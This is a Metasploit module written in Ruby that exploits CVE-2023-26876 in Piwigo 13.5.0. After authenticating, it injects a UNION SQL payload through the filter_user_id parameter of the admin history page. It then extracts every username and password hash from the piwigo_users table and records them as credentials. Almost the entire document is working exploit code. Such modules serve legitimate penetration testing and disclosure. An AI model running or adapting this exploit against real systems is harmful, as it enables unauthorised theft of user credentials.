Piwigo CVE-2023-26876 Gather Credentials via SQL Injection

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::SQLi  
prepend Msf::Exploit::Remote::AutoCheck  
require 'metasploit/framework/hashes'  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Piwigo CVE-2023-26876 Gather Credentials via SQL Injection ',  
'Description' => %q{  
This module allows an authenticated user to retrieve the usernames and encrypted passwords of other users in Piwigo through SQL injection using the (filter_user_id) parameter.  
},  
'Author' => [  
'rodnt', # metasploit module  
'Rodolfo Tavares', # vulnerability discovery  
'Tempest Security, Henrique Arcoverde' # special thanks  
],  
'License' => MSF_LICENSE,  
'References' => [  
[ 'CVE', '2023-26876' ],  
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-26876'],  
],  
'DisclosureDate' => '2023-04-21',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [IOC_IN_LOGS],  
'Reliability' => []  
}  
)  
)  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, 'The base path to Piwigo', '/' ]),  
OptString.new('USERNAME', [ true, 'The username for authenticating to Piwigo', 'piwigo' ]),  
OptString.new('PASSWORD', [ true, 'The password for authenticating to Piwigo', 'piwigo' ])  
]  
)  
end  
  
def check  
login_page = target_uri.path.end_with?('index.php') ? normalize_uri(target_uri.path) : normalize_uri(target_uri.path, '/index.php')  
  
res = send_request_cgi(  
'method' => 'GET',  
'keep_cookies' => true,  
'uri' => login_page  
)  
  
if res && res.code == 200 && res.body.match(%r{themes/default/js/jquery.min.js\?v13.5.0})  
return Exploit::CheckCode::Appears('The target is running Piwigo with version 13.5.0')  
else  
return Exploit::CheckCode::Safe('The target does not appear to be running Piwigo with vulnerable version')  
end  
rescue ::Rex::ConnectionError  
return Exploit::CheckCode::Unknown("#{peer} - Connection failed")  
end  
  
def login  
login_uri = target_uri.path.end_with?('identification.php') ? normalize_uri(target_uri.path) : normalize_uri(target_uri.path, '/identification.php')  
print_status('Try to log in..')  
  
login_res = send_request_cgi(  
'method' => 'POST',  
'uri' => login_uri,  
'keep_cookies' => true,  
'vars_post' => {  
'username' => datastore['USERNAME'],  
'password' => datastore['PASSWORD'],  
'login' => 'Login'  
}  
)  
  
if login_res.code != 302 || login_res.body.include?('Invalid username or password!')  
fail_with(Failure::NoAccess, "Couldn't log into Piwigo")  
end  
  
print_good('Successfully logged into Piwigo')  
end  
  
def test_vulnerable(response)  
body_response = response.body.to_s  
if body_response.include?('var filter_user_name = "pwn3d";')  
print_good('Target is vulnerable')  
return true  
else  
print_error('Target is NOT vulnerable')  
return false  
end  
end  
  
def dump_data(sqli)  
creds_table = Rex::Text::Table.new(  
'Header' => 'Piwigo Users',  
'Indent' => 1,  
'Columns' => ['username', 'hash']  
)  
results = sqli.run_sql('select group_concat(cast(concat_ws(0x3b,ifnull(username,repeat(0x31,0)),ifnull(password,repeat(0xd,0))) as binary)) from piwigo_users')  
  
body_results = results.body.to_s  
match = body_results.match(/var filter_user_name = "(.*?)";/)  
if match  
data = match[1]  
data.split(',').each do |user_and_pw|  
user, hash = user_and_pw.split(';', 2)  
  
creds_table << [user, hash]  
create_credential({  
workspace_id: myworkspace_id,  
origin_type: :service,  
module_fullname: fullname,  
username: user,  
private_type: :nonreplayable_hash,  
jtr_format: Metasploit::Framework::Hashes.identify_hash(hash),  
private_data: user,  
service_name: 'piwigo',  
address: datastore['RHOST'],  
port: datastore['RPORT'],  
protocol: 'tcp',  
status: Metasploit::Model::Login::Status::UNTRIED  
})  
end  
rows_data = creds_table.rows.length  
if rows_data > 1  
print_status("Dump of usernames and hashes:\n")  
print_line creds_table.to_s  
end  
end  
end  
  
def get_info  
sqli = create_sqli(dbms: MySQLi::Common, opts: { hex_encode_strings: true }) do |payload|  
send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'admin.php'),  
'vars_get' => {  
'page' => 'history',  
'filter_image_id' => '1',  
'filter_user_id' => "123123123 union all #{payload}"  
}  
})  
end  
  
if test_vulnerable(sqli.run_sql('select 0x70776e3364'))  
dump_data(sqli)  
end  
end  
  
def run  
login  
get_info  
end  
end  
`